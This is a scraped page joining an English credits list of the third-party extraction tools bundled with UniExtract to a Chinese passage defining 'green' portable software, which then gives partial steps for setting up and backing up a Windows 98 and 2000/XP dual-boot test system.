bin2iso (Bob Doiron, Open Source) - Utility to convert BIN/CUE CD-ROM images to ISO images; used in conjunction with 7-Zip to extract .bin/.cue images
Crystal SVG (Everaldo Coelho, Free) - Collection of extremely high-quality icons for Linux/KDE; used as the source graphics for the UniExtract icon
E_WISE (Veit Kannegieser, Open Source) - Wise Installer decompiler; used for extracting files from Wise Installer packages
extract (Gilles Vollant, Freeware) - Floppy disk image extraction utility; used to extract files from .img images
GIMP (Spencer Kimball and Peter Mattis, Open Source) - The GNU Image Manipulation Program; used to create the icons used by UniExtract
HelpDeco (Manfred Winterhoff, Freeware) - Decompiler for Windows Help files; used to extract/reconstruct .hlp files
i6comp (Morlac, Open Source) - InstallShield 6.x Compression and Maintenance utility; used for extracting files from InstallShield 3.x - 6.x (I think) installer packages
Info-ZIP UnZip (Info-ZIP, Open Source) - Highly portable ZIP archive utility; used for extracting .zip and ZIP SFX .exe files
Inno Setup (Jordan Russell, Open Source) - Open Source packaging application for Windows; used to create the UniExtract installer
Innounp (QuickeneR, Open Source) - Inno Setup Unpacker; used for extracting files from Inno Setup installer packages
IsXunpack (Pit0n and SkYuS//vN, Freeware) - InstallShield Unpacker; used for extracting files from modern InstallShield installer packages
lzop (Markus F.X.J. Oberhumer, Open Source) - LZO file compression utility; used to extract .lzo files
Open-source ARJ (ARJ Software Russia, Open Source) - Open Source implementation of the ARJ archiving utility; used to extract .arj and ARJ SFX .exe files
PEiD (Jibz, Qwerton, snaker, and xineohP, Freeware) - Portable Executable File Identifier; used to analyze .exe file signature to determine the filetype and whether or not it's a supported archive
tee (Free Software Foundation, Open Source) - Shell utility that redirects standard input to multiple outputs; used to write messages to a log file while also displaying current progress; Windows binary was obtained from http://unxutils.sourceforge.net/
UnRAR (Alexander L. Roshal, Freeware) - Command-line utility for RAR archives; used to extract .rar and RAR SFX .exe files
WUN (J?germeister Markus, Icebird, Open Source) - Wise-Setup Unpacker; used for extracting files from Wise Installer packages (updated version of HWUN)
XAce (Marcel Lemke, Freeware) - ACE archive utility; used for extracting .ace and ACE SFX .exe files
首先要先弄清楚何谓绿色软件?其定义是什么?我收集了一些网友的讨论和想法:
A 说,不需要安装 同时 不向注册表写入任何东西
B 说,应该还包括不向系统文件夹拷贝文件,我的理解就是:安装这个软件对现有的操作系统没有任何改变,改变包括写注册表之类的。
C 说,除了你现在安装的目录,应该不往任何地方写东西(比如log)。
D 说,免安装,并且 不往程序所在目录以外的任何地方产生垃圾文件,还有 不写注册表
E 说,综上加一条,可以放在移动存储器上在任一电脑上使用且效果相同。
F 说,好像不写注册表,直接copy来就可以用得就算吧。
G 说,重新安装系统的时候,仅需导入注册表,不需重新安装,就可以认为是绿色软件。
H 说,其实只要不写注册表、不往系统文件夹写文件,哪怕需要.ini文件也在软件自己的目录里就行,那么就可算作绿色软件,特征是能够任意copy到别的文件夹照样能用或重装系统后直接能用,没有其它变化。所以有小部分“安装”的软件其实也符合绿色软件,因 为它 的安装只是解压缩建立文件夹而已。
I 说,基本同意,但不写注册表的几乎是不可能,你只要运行过那个软件,打开注册表编辑器HKLM和HKLU下面software看看,几乎都会留下键值,其实这样也应该叫做绿色的吧。
5、重新启动,进入到WINDOWS98图形界面系统中,把常用的软件全部安装好,注意,软件尽量安装到 E 区,不要装在d:\program files目录;
6、在WINDOWS98系统中,安装 WINDOWS 2000/XP 到 C 分区,注意,不要选择 WINDOWS 升级安装的哪个选项,因为这样它会把你的WINDOWS98覆盖掉,要选“安装一个新的WINDOWS2000”的哪个选项,并把安装路径设置到 C 分区;
7、安装干净的 WINDOWS 20000/XP 系统,最简安装,除 WINZIP 外,其他软件不要安装,这个系统是用来在 WINDOWS 2000/XP 下作绿色软件试验用的。
8、重启系统,进入到 WINDOWS 98 系统,在 F 区建立一个“SYS_BAK”目录,并在里面建立四个子目录:
WIN98_1
WIN98_2
WIN2K_1
WIN2K_2
用 WINZIP 把 C 区里的 “Documents and Settings”、“Program Files”、“WINNT”三个目录分别压缩为:“Documents and Settings.zip”、“Program Files_2k.zip”、“WINNT.zip”备份到“WIN2K_1”里。
9、安装好 WINDOWS 20000/XP 系统的常用软件(WINZIP必装),注意:软件尽量安装到 E 区;
10、备份 C 区:先准备好 GHOST 的 DOS 程序,并复制到F区,在DOS下,运行GHOST,选择分区=>镜像备份功能,将 C 区镜像到 F,如F:\SYS_BAK\DISK_C.GHO;
11、重新启动系统后进入到WINDOWS 2000/XP,将D:中的 WINDOWS 和 PROGRAM FILES 两个目录分别压缩为ZIP文件,并改名为WIN98_2.ZIP和PROG_2.ZIP,并移到“F:\SYS_BAK\WIN98_2”目录里;同样,把 F 区的干净WIN98系统压缩为 WIN98_1.ZIP和PROG_1.ZIP,并移到“F:\SYS_BAK\WIN98_1”目录里;
12、整理:随便进入 WIN98 或 WIN2000/XP 系统,在 F 区新建一个如 SYS_BAK 的目录,将WIN98_1.ZIP、PROG_1.ZIP、WIN98_1.ZIP、PROG_1.ZIP、DISK_C.GHO、GHOST 等都移到里面;